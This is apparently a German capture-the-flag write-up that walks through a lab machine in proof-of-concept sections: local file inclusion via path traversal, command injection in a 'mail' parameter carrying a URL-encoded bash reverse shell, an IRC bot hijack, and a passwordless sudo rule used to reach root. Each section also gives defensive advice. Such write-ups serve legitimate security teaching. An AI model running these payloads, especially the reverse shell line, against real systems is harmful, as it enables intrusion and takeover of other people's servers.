Analyse: Der Versuch, `/etc/passwd` direkt über `?page=../../../../../../../../../../etc/passwd` zu inkludieren, lieferte eine Honeypot-Nachricht.
Bewertung: Zeigt, dass ein einfacher Filter existiert, der diesen spezifischen String erkennt.
Analyse Forts.: Durch Betrachten des Quellcodes der Honeypot-Antwort (`view-source:...`) wurde der tatsächliche Inhalt von `/etc/passwd` innerhalb von HTML-Kommentaren gefunden.
Ergebnis des POC: Die LFI-Schwachstelle wurde bestätigt. Obwohl ein einfacher Filter den direkten Output blockierte, konnte der Inhalt sensibler Dateien durch Analyse des Quellcodes der Antwortseite extrahiert werden.
Risikobewertung: Hoch. Erlaubt das Auslesen beliebiger Dateien, auf die der Webserver-Prozess Zugriff hat, was oft zu Credential Leaks oder dem Fund weiterer Schwachstellen führt.
Empfehlung (Defensiv): Benutzereingaben niemals direkt in `include`/`require` verwenden. Eingaben streng validieren (Whitelist-Ansatz). Pfade sicher zusammensetzen. Path Traversal verhindern. Honeypots sind keine ausreichende Sicherheitsmaßnahme. Sensible Informationen nicht im Quellcode verstecken.

Proof of Concept (Command Injection)

Schwachstelle: Command Injection im `mail`-Parameter der Seite `index.php?page=mailer` auf Port 60080. Der Wert des `mail`-Parameters wird wahrscheinlich unsicher an einen Systembefehl (z.B. `sendmail`, `mail`) übergeben.
Ziel des POC: Nachweis, dass durch Anhängen oder Einfügen von Shell-Befehlen in den `mail`-Parameter beliebige Befehle auf dem Server im Kontext des Webserver-Benutzers (`www-data`) ausgeführt werden können.
Voraussetzungen: Zugriff auf den Webserver auf Port 60080. Kenntnis der verwundbaren Seite und des Parameters.

Schritt 1: Identifizierung durch Fuzzing

Analyse: Wfuzz (`wfuzz ... -u "...page=mailer&mail=FUZZ"`) wurde verwendet, um den `mail`-Parameter zu fuzzen. Viele Standard-Linux-Befehle führten zu gültigen HTTP-Antworten mit abweichender Größe, was auf Befehlsausführung hindeutete.

Schritt 2: Bestätigung und Ausnutzung

Analyse: Durch Aufrufen von URLs wie `...page=mailer&mail=id` oder `...page=mailer&mail=ls%20/home` wurden die entsprechenden Befehle ausgeführt und deren Ausgabe im Quelltext der Antwortseite gefunden.
Bewertung: Dies bestätigt die Command Injection eindeutig.
Exploit: Ein Bash-Reverse-Shell-Payload wurde URL-kodiert und über den `mail`-Parameter eingeschleust (`...page=mailer&mail=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F[IP]%2F[PORT]%200%3E%261%27`).
Ergebnis des POC: Die Command Injection wurde erfolgreich ausgenutzt, um eine Reverse Shell als `www-data` zu erhalten.
Risikobewertung: Kritisch. Erlaubt beliebige Befehlsausführung als Webserver-Benutzer, was oft zum vollständigen Systemzugriff führt.
Empfehlung (Defensiv): Benutzereingaben strikt validieren und sanitisieren. Niemals Benutzereingaben direkt in Shell-Befehle oder `system()`/`exec()`-Aufrufe einfügen. Sicherere APIs zur Interaktion mit Systemfunktionen verwenden. Web Application Firewall (WAF) zur Erkennung/Blockierung von Injection-Angriffen einsetzen.

Proof of Concept (IRC Bot Command Execution)

Schwachstelle: Ein IRC-Bot (`wallabysbot`) führt Befehle aus, die ihm von einem Benutzer mit dem Nickname `waldo` übermittelt werden. Der Bot führt diese Befehle im Kontext des Systembenutzers `wallaby` aus. Der Nickname `waldo` kann von einem Angreifer übernommen werden, wenn der legitime Benutzer die Verbindung verliert (hier durch `/exit` in `tmux`).
Ziel des POC: Nachweis, dass durch Übernahme des `waldo`-Nicks und Senden eines `.run`-Befehls an den Bot Code als Benutzer `wallaby` ausgeführt werden kann.
Voraussetzungen: Möglichkeit, die `tmux`-Sitzung von `waldo` zu übernehmen (z.B. als `www-data`, falls `tmux` für alle lesbar/schreibbar ist, oder durch vorherige Kompromittierung von `waldo`). Ein IRC-Client. Kenntnis des Bot-Namens und des `.run`-Befehls.

Schritt 1: Sitzungs- und Nickname-Übernahme

Analyse: Der Angreifer übernimmt die `tmux`-Sitzung, zwingt den Benutzer `waldo` zum Verlassen des IRC und registriert den Nickname `waldo` für sich selbst.

Schritt 2: Befehlsausführung über den Bot

Analyse: Der Angreifer (mit Nick `waldo`) sendet `.run whoami` an `wallabysbot` und erhält `wallaby` als Antwort. Anschließend wird `.run bash -c "[Reverse Shell Payload]"` gesendet.
Bewertung: Dies bestätigt, dass der Bot Befehle als `wallaby` ausführt und zur Eskalation missbraucht werden kann.
Ergebnis des POC: Durch Manipulation des IRC-Bots konnte eine Reverse Shell als Benutzer `wallaby` erlangt werden.
Risikobewertung: Hoch. Ermöglicht die Übernahme des `wallaby`-Accounts durch einen anderen Benutzer.
Empfehlung (Defensiv): Bots sollten Befehle nur von authentifizierten und autorisierten Benutzern annehmen. Nickname-basierte Autorisierung ist unsicher. Bots sollten mit minimal notwendigen Rechten laufen. Sicherstellen, dass `tmux`/`screen`-Sitzungen korrekt geschützt sind.

Proof of Concept (Sudo to Root)

Schwachstelle: Übermäßig permissive `sudoers`-Konfiguration, die dem Benutzer `wallaby` erlaubt, beliebige Befehle als beliebiger Benutzer ohne Passwort auszuführen (`(ALL) NPASSWD: ALL`).
Ziel des POC: Nachweis, dass `wallaby` diese Regel nutzen kann, um volle Root-Rechte zu erlangen.
Voraussetzungen: Zugriff als Benutzer `wallaby`. Die fehlerhafte `sudoers`-Regel.

Schritt 1: Identifizierung der Sudo-Regel

Analyse: Der Befehl `sudo -l` als `wallaby` zeigt die Regel `(ALL) NPASSWD: ALL`.

Schritt 2: Ausnutzung der Sudo-Regel

Analyse: Der Befehl `sudo su` wird ausgeführt.
Bewertung: Aufgrund der `(ALL) NPASSWD: ALL`-Regel wird `su` ohne Passwortabfrage als Root ausgeführt und startet eine Root-Shell.
Ergebnis des POC: Die unsichere `sudo`-Regel wurde trivial ausgenutzt, um Root-Rechte zu erlangen.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Das Prinzip der geringsten Rechte bei `sudo` strikt anwenden. `(ALL) NPASSWD: ALL` nur in absoluten Ausnahmefällen und niemals für normale Benutzer oder Dienstkonten verwenden. Regelmäßige Audits der `sudoers`-Datei.

Flags

Analyse: Die User-Flag (`user.txt`) wurde im Home-Verzeichnis von `n30` gefunden. Die Root-Flag (`flag.txt`) wurde nach Erlangung der Root-Rechte im `/root`-Verzeichnis gelesen.
Bewertung: Beide Flags wurden erfolgreich extrahiert.

n30@W34KN3SS$ cat user.txt
25e3cd678875b601425c9356c8039f68
root@ubuntu:~# cat flag.txt
#CNGRATULATINS#